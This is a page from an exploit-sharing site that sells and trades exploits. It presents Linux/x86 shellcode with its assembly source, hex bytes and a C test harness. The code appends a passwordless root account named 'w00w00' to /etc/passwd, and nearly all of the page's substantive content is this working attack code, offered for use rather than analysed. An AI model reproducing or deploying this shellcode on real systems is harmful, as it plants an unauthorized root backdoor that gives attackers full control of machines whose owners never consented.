0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 - Add Root User (w00w00) To /etc/passwd Shellcode (104 bytes)
[/*
jmp call_w00w00
w00w00:
popl %edi
jmp w0w0w
call_w00w00:
call w00w00
w0w0w:
# OPEN
# ecx=flag (O_RDONLY, O_WRONLY, ...)
# O_WRONLY | O_APPEND | O_CREAT = 0x441
# edx=file mode
# ebx=address of filename
# eax=0x05 syscall number
xorl %ebx,%ebx
movb $(file-w0w0w),%bl
addl %edi,%ebx
xorb %al,%al
movb %al,11(%ebx)
xorl %ecx,%ecx
movw $0x441,%cx
xorl %edx,%edx
movw $00644,%dx
xorl %eax,%eax
movb $0x5,%al
int $0x80
movl %eax,%ebx # save file descriptor to %ebx (for write)
# WRITE
# ecx=address of buffer to write
# edx=number of bytes to write
# ebx=file descriptor
# eax=0x04
xorl %ecx,%ecx
movb $(string-w0w0w),%cl
addl %edi,%ecx
xorl %edx,%edx
movb $31,%dl
xorl %eax,%eax
movb $0x04,%al
int $0x80
xorl %eax,%eax
movb $1,%al
int $0x80
file:
.ascii "/etc/passwd"
endfile:
.byte 1
string:
.ascii "w00w00::0:0:w0w0w!:/:/bin/sh\n"
*/
/*
* Source to this is pass.s
* This will append a root line to the passwd file (see the source).
*
* Shok (Matt Conover), shok@dataforce.net
*/
char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
"\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x66\xba\xa4"
"\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x41\x01\xf9\x31"
"\xd2\xb2\x1f\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
"\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x77\x30\x30\x77\x30"
"\x30\x3a\x3a\x30\x3a\x30\x3a\x77\x30\x77\x30\x77\x21\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a";
void main()
{
int *ret;
printf("w00w00!\n");
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
# 0day.today [2024-11-15] #